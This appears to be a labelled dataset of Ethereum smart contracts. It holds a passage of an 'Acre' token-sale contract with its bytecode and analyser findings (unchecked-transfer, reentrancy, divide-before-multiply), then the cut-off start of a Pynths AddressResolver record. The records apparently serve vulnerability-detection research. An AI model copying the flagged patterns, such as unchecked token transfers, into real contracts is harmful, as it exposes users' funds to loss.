require(!saleOpened); require(orders[_funder].reservedToken > 0); require(orders[_funder].state != eOrderstate.KYC); require(!orders[_funder].withdrawn); eOrderstate oldState = orders[_funder].state; // old, decrease if(oldState == eOrderstate.REFUND) { refund.token = refund.token.sub(orders[_funder].reservedToken); refund.eth = refund.eth.sub(orders[_funder].paymentEther); refund.count = refund.count.sub(1); } // state orders[_funder].state = eOrderstate.KYC; kyc.token = kyc.token.add(orders[_funder].reservedToken); kyc.eth = kyc.eth.add(orders[_funder].paymentEther); kyc.count = kyc.count.add(1); CheckOrderstate(_funder, oldState, eOrderstate.KYC); } function checkRefund(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(orders[_funder].reservedToken > 0); require(orders[_funder].state != eOrderstate.REFUND); require(!orders[_funder].withdrawn); eOrderstate oldState = orders[_funder].state; // old, decrease if(oldState == eOrderstate.KYC) { kyc.token = kyc.token.sub(orders[_funder].reservedToken); kyc.eth = kyc.eth.sub(orders[_funder].paymentEther); kyc.count = kyc.count.sub(1); } // state orders[_funder].state = eOrderstate.REFUND; refund.token = refund.token.add(orders[_funder].reservedToken); refund.eth = refund.eth.add(orders[_funder].paymentEther); refund.count = refund.count.add(1); CheckOrderstate(_funder, oldState, eOrderstate.REFUND); } // withdraw function withdrawFunder(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(fundingGoalReached); require(orders[_funder].reservedToken > 0); require(orders[_funder].state == eOrderstate.KYC); require(!orders[_funder].withdrawn); // token tokenReward.transfer(_funder, orders[_funder].reservedToken); withdrawal.token = withdrawal.token.add(orders[_funder].reservedToken); withdrawal.eth = withdrawal.eth.add(orders[_funder].paymentEther); withdrawal.count = withdrawal.count.add(1); orders[_funder].withdrawn = true; WithdrawFunder(_funder, orders[_funder].reservedToken); } function withdrawContractToken(uint _value) onlyManagers public { tokenReward.transfer(msg.sender, _value); WithdrawContractToken(msg.sender, _value); } // payable function () payable public { require(saleOpened); require(now <= saleDeadline); require(MIN_ETHER <= msg.value); uint amount = msg.value; uint curBonusRate = getCurrentBonusRate(); uint token = (amount.mul(curBonusRate.add(100)).div(100)).mul(EXCHANGE_RATE); require(token > 0); require(SafeMath.add(soldToken, token) <= hardCapToken); sendEther.transfer(amount); // funder info if(orders[msg.sender].paymentEther == 0) { indexedFunders[funderCount] = msg.sender; funderCount = funderCount.add(1); orders[msg.sender].state = eOrderstate.NONE; } orders[msg.sender].paymentEther = orders[msg.sender].paymentEther.add(amount); orders[msg.sender].reservedToken = orders[msg.sender].reservedToken.add(token); receivedEther = receivedEther.add(amount); soldToken = soldToken.add(token); ReservedToken(msg.sender, amount, token, curBonusRate); } } contract AcrePresale is AcreSale { function AcrePresale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) AcreSale( _sendEther, _softCapToken, _hardCapToken, _addressOfTokenUsedAsReward) public { } function startPresale() onlyManagers public { startSale(PRESALE_DURATION_TIME); } function getCurrentBonusRate() public constant returns(uint8 bonusRate) { if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 30; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(15, TIME_FACTOR))) { bonusRate = 25; } // 8days else { bonusRate = 0; } // } } contract AcreCrowdsale is AcreSale { function AcreCrowdsale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) AcreSale( _sendEther, _softCapToken, _hardCapToken, _addressOfTokenUsedAsReward) public { } function startCrowdsale() onlyManagers public { startSale(CROWDSALE_DURATION_TIME); } function getCurrentBonusRate() public constant returns(uint8 bonusRate) { if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 20; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(15, TIME_FACTOR))) { bonusRate = 15; } // 8days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(23, TIME_FACTOR))) { bonusRate = 10; } // 8days else { bonusRate = 0; } // } }
0x6060604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301cb3b20146105e5578063025e7c27146105fa57806304c98b2b1461065d5780630b3bc259146106725780630e29df221461069b57806325ba0824146106f05780632ecf66e4146107415780634e2808da1461076a578063590e1ae3146107975780635deeffb2146107ce578063639a9a67146107fb5780636769d1f9146108285780636e66f6e914610851578063738e6d78146108a65780637493357b146108df5780638846594b14610934578063888ea1201461096d5780638bec5b31146109965780638da5cb5b146109e75780638dd4f29214610a3c57806390d6b45f14610a655780639327d71014610a9c5780639b7e553114610aff5780639ef7e72314610b28578063a961e9e814610b4b578063b89e8cbb14610b74578063bf48780114610b9d578063bf88fc0914610bc6578063c0adc46514610c17578063cd53e45514610c46578063d424f62814610c6f578063d4e9329214610c9c578063d5d1e77014610cd3578063e91cc17c14610d00578063f0b3a7ba14610d39578063f40e847114610d62575b6000806000600b60159054906101000a900460ff1615156101e257600080fd5b60045442111515156101f357600080fd5b3467016345785d8a00001115151561020a57600080fd5b349250610215610dd6565b60ff1691506102676103e8610259606461024b61023c606488610e3590919063ffffffff16565b88610e4e90919063ffffffff16565b610e7c90919063ffffffff16565b610e4e90919063ffffffff16565b905060008111151561027857600080fd5b60075461028760085483610e35565b1115151561029457600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015156102f657600080fd5b6000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541415610416573360156000601754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103ab6001601754610e3590919063ffffffff16565b6017819055506000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083600281111561041057fe5b02179055505b61046b83601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154610e3590919063ffffffff16565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555061050681601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610e3590919063ffffffff16565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555061056183600954610e3590919063ffffffff16565b60098190555061057c81600854610e3590919063ffffffff16565b6008819055503373ffffffffffffffffffffffffffffffffffffffff167f580e269b852feaa417dcc438230790bb21e5d485bf49ff3e8615e5240c8fa92884838560405180848152602001838152602001828152602001935050505060405180910390a2505050005b34156105f057600080fd5b6105f8610eb7565b005b341561060557600080fd5b61061b6004808035906020019091905050610f95565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561066857600080fd5b610670610fd4565b005b341561067d57600080fd5b610685610ff4565b6040518082815260200191505060405180910390f35b34156106a657600080fd5b6106ae610ffa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106fb57600080fd5b610727600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611020565b604051808215151515815260200191505060405180910390f35b341561074c57600080fd5b610754611151565b6040518082815260200191505060405180910390f35b341561077557600080fd5b61077d611157565b604051808215151515815260200191505060405180910390f35b34156107a257600080fd5b6107aa6112f8565b60405180848152602001838152602001828152602001935050505060405180910390f35b34156107d957600080fd5b6107e1611310565b604051808215151515815260200191505060405180910390f35b341561080657600080fd5b61080e61131f565b604051808215151515815260200191505060405180910390f35b341561083357600080fd5b61083b611332565b6040518082815260200191505060405180910390f35b341561085c57600080fd5b610864611338565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108b157600080fd5b6108dd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061135e565b005b34156108ea57600080fd5b6108f26117de565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561093f57600080fd5b61096b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611804565b005b341561097857600080fd5b610980611c84565b6040518082815260200191505060405180910390f35b34156109a157600080fd5b6109cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c8a565b604051808215151515815260200191505060405180910390f35b34156109f257600080fd5b6109fa611e05565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a4757600080fd5b610a4f611e2a565b6040518082815260200191505060405180910390f35b3415610a7057600080fd5b610a78611e3f565b60405180848152602001838152602001828152602001935050505060405180910390f35b3415610aa757600080fd5b610abd6004808035906020019091905050611e57565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b0a57600080fd5b610b12611e8a565b6040518082815260200191505060405180910390f35b3415610b3357600080fd5b610b496004808035906020019091905050611e90565b005b3415610b5657600080fd5b610b5e611fde565b6040518082815260200191505060405180910390f35b3415610b7f57600080fd5b610b87611fe4565b6040518082815260200191505060405180910390f35b3415610ba857600080fd5b610bb061200b565b6040518082815260200191505060405180910390f35b3415610bd157600080fd5b610bfd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120f2565b604051808215151515815260200191505060405180910390f35b3415610c2257600080fd5b610c2a610dd6565b604051808260ff1660ff16815260200191505060405180910390f35b3415610c5157600080fd5b610c59612211565b6040518082815260200191505060405180910390f35b3415610c7a57600080fd5b610c82612217565b604051808215151515815260200191505060405180910390f35b3415610ca757600080fd5b610caf61222a565b60405180848152602001838152602001828152602001935050505060405180910390f35b3415610cde57600080fd5b610ce6612242565b604051808215151515815260200191505060405180910390f35b3415610d0b57600080fd5b610d37600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612455565b005b3415610d4457600080fd5b610d4c6128d2565b6040518082815260200191505060405180910390f35b3415610d6d57600080fd5b610d99600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128d8565b60405180856002811115610da957fe5b60ff1681526020018481526020018381526020018215151515815260200194505050505060405180910390f35b6000610df1600554610dec600762015180610e4e565b610e35565b42111515610e0257601e9050610e32565b610e1b600554610e16600f62015180610e4e565b610e35565b42111515610e2c5760199050610e31565b600090505b5b90565b60008183019050828110151515610e4857fe5b92915050565b600081830290506000831480610e6e5750818382811515610e6b57fe5b04145b1515610e7657fe5b92915050565b60008082111515610e8957fe5b8183811515610e9457fe5b0490508183811515610ea257fe5b068183020183141515610eb157fe5b92915050565b610ec033612922565b1515610ecb57600080fd5b60045442111515610edb57600080fd5b600b60159054906101000a900460ff1615610f9357610ef8611310565b15610f19576001600b60146101000a81548160ff0219169083151502179055505b6000600b60156101000a81548160ff0219169083151502179055507fe78e01880fc85b64db8efa7145cbad405eb0f9c9d8849f895a06c359836bbbae600954600854600b60149054906101000a900460ff166040518084815260200183815260200182151515158152602001935050505060405180910390a15b565b600381815481101515610fa457fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fdd33612922565b1515610fe857600080fd5b610ff2600f61298b565b565b60175481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107d57600080fd5b61108682612b92565b15151561109257600080fd5b61109a612c35565b15156110a557600080fd5b8160036110b0612cd7565b8154811015156110bc57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f919c482a4dd37fda2e912a8aa250c86cd33baba7516f7f5638fc6f6c16b22f2e60405160405180910390a260019050919050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561121257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fe2277a5d491de0973631724d3cbb5e0deb5250f2be0c90ea6da7a7e4605f90ed60405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b600f8060000154908060010154908060020154905083565b60006006546008541015905090565b600b60159054906101000a900460ff1681565b60085481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061136933612922565b151561137457600080fd5b6004544211151561138457600080fd5b600b60159054906101000a900460ff161515156113a057600080fd5b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115156113f157600080fd5b6002808111156113fd57fe5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16600281111561145857fe5b1415151561146557600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff161515156114c157600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1690506001600281111561152057fe5b81600281111561152c57fe5b141561161b5761158c601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600c60000154612d7b90919063ffffffff16565b600c600001819055506115ef601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600c60010154612d7b90919063ffffffff16565b600c600101819055506116116001600c60020154612d7b90919063ffffffff16565b600c600201819055505b6002601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083600281111561167a57fe5b02179055506116d9601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600f60000154610e3590919063ffffffff16565b600f6000018190555061173c601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600f60010154610e3590919063ffffffff16565b600f6001018190555061175e6001600f60020154610e3590919063ffffffff16565b600f600201819055508173ffffffffffffffffffffffffffffffffffffffff167f2f084871debfd65be4dab8a8cb7ce7b3d2694c8de1cb6c49b3ef67efead3bae0826002604051808360028111156117b257fe5b60ff1681526020018260028111156117c657fe5b60ff1681526020019250505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061180f33612922565b151561181a57600080fd5b6004544211151561182a57600080fd5b600b60159054906101000a900460ff1615151561184657600080fd5b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015411151561189757600080fd5b600160028111156118a457fe5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660028111156118ff57fe5b1415151561190c57600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff1615151561196857600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1690506002808111156119c657fe5b8160028111156119d257fe5b1415611ac157611a32601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600f60000154612d7b90919063ffffffff16565b600f60000181905550611a95601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600f60010154612d7b90919063ffffffff16565b600f60010181905550611ab76001600f60020154612d7b90919063ffffffff16565b600f600201819055505b6001601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690836002811115611b2057fe5b0217905550611b7f601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600c60000154610e3590919063ffffffff16565b600c60000181905550611be2601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600c60010154610e3590919063ffffffff16565b600c60010181905550611c046001600c60020154610e3590919063ffffffff16565b600c600201819055508173ffffffffffffffffffffffffffffffffffffffff167f2f084871debfd65be4dab8a8cb7ce7b3d2694c8de1cb6c49b3ef67efead3bae082600160405180836002811115611c5857fe5b60ff168152602001826002811115611c6c57fe5b60ff1681526020019250505060405180910390a25050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611d2357600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb9d0640e2e3344df282774dc44aa75a92a82ed65bde71b2709d7204f84ac45a260405160405180910390a381600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611df642611df1600762015180610e4e565b610e35565b60028190555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611e3a600754600854612d7b565b905090565b600c8060000154908060010154908060020154905083565b60156020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b611e9933612922565b1515611ea457600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611f7157600080fd5b6102c65a03f11515611f8257600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff167f016e3a850a4f06be16aa0dac4a8c27d00e2faa8d29885100060689b83e9eb161826040518082815260200191505060405180910390a250565b60055481565b6000600454421115156120085761200561200060045442612d7b565b612d94565b90505b90565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156120d257600080fd5b6102c65a03f115156120e357600080fd5b50505060405180519050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561214f57600080fd5b61215882612b92565b151561216357600080fd5b6000600361217084612da8565b81548110151561217c57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f20ae3218a3a98f7a99bbd57af90761b7381c8f619711d6ea8957307b8187bb8960405160405180910390a260019050919050565b60095481565b600b60149054906101000a900460ff1681565b60128060000154908060010154908060020154905083565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561229f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156122fd57600080fd5b6002544211151561230d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff7a7c6dfc945c251279bd8e18228204503dce1aefd05229cc80ebc48057d649a60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b61245e33612922565b151561246957600080fd5b6004544211151561247957600080fd5b600b60159054906101000a900460ff1615151561249557600080fd5b600b60149054906101000a900460ff1615156124b057600080fd5b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015411151561250157600080fd5b6001600281111561250e57fe5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16600281111561256957fe5b14151561257557600080fd5b601660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff161515156125d157600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156126e057600080fd5b6102c65a03f115156126f157600080fd5b5050506040518051905050612756601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154601260000154610e3590919063ffffffff16565b6012600001819055506127b9601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154601260010154610e3590919063ffffffff16565b6012600101819055506127db6001601260020154610e3590919063ffffffff16565b6012600201819055506001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fee5144fa00b4290a3184a6958758977b110f22931c77d2d8442737ceafac5a4a601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546040518082815260200191505060405180910390a250565b60075481565b60166020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030160009054906101000a900460ff16905084565b600061292d82612b92565b8061298457508173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b61299433612922565b151561299f57600080fd5b60006006541180156129b5575060075460065411155b15156129c057600080fd5b6000600754118015612ab35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515612a9257600080fd5b6102c65a03f11515612aa357600080fd5b5050506040518051905060075411155b1515612abe57600080fd5b600081111515612acd57600080fd5b6000600554141515612ade57600080fd5b42600581905550612afd600554612af88362015180610e4e565b610e35565b6004819055506001600b60156101000a81548160ff0219169083151502179055507f8663dba38ae2149a16af5deb1b7d083abe56672e2fd7945ec8580fbc94c53e8560065460075467016345785d8a00006103e860055460045460405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a150565b600080600090505b600560ff168160ff161015612c2e578273ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612bd257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612c235760019150612c2f565b806001019050612b9a565b5b50919050565b600080600090505b600560ff168160ff161015612cd257600073ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612c7657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612cc75760019150612cd3565b806001019050612c3d565b5b5090565b600080600090505b600560ff168160ff161015612d7657600073ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612d1857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612d6b578060ff169150612d77565b806001019050612cdf565b5b5090565b6000828211151515612d8957fe5b818303905092915050565b6000612da182603c610e7c565b9050919050565b600080600090505b600560ff168160ff161015612e46578273ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612de857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612e3b578060ff169150612e47565b806001019050612db0565b5b509190505600a165627a7a72305820aa52846e52694f2580aae3718aba898478164813a88dc76eaa5cf920d8ff07c50029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,918
0x036ec2Bc5352C66C0D56c2c42E1F4C09355a790f
/** *Submitted for verification at Etherscan.io on 2021-03-02 */ /* * Pynths : AddressResolver.sol * * * Contract Dependencies: * - IAddressResolver * - Owned * Libraries: (none) * * MIT License * =========== * * Copyright (c) 2021 Pynths * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.16; // https://docs.pynthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // https://docs.pynthetix.io/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getPynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } // https://docs.pynthetix.io/contracts/source/interfaces/ipynth interface IPynth { // Views function currencyKey() external view returns (bytes32); function transferablePynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to Pynthetix function burn(address account, uint amount) external; function issue(address account, uint amount) external; } // https://docs.pynthetix.io/contracts/source/interfaces/iissuer interface IIssuer { // Views function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availablePynthCount() external view returns (uint); function availablePynths(uint index) external view returns (IPynth); function canBurnPynths(address account) external view returns (bool); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function collateralisationRatioAndAnyRatesInvalid(address _issuer) external view returns (uint cratio, bool anyRateIsInvalid); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance); function issuanceRatio() external view returns (uint); function lastIssueEvent(address account) external view returns (uint); function maxIssuablePynths(address issuer) external view returns (uint maxIssuable); function minimumStakeTime() external view returns (uint); function remainingIssuablePynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function pynths(bytes32 currencyKey) external view returns (IPynth); function getPynths(bytes32[] calldata currencyKeys) external view returns (IPynth[] memory); function pynthsByAddress(address 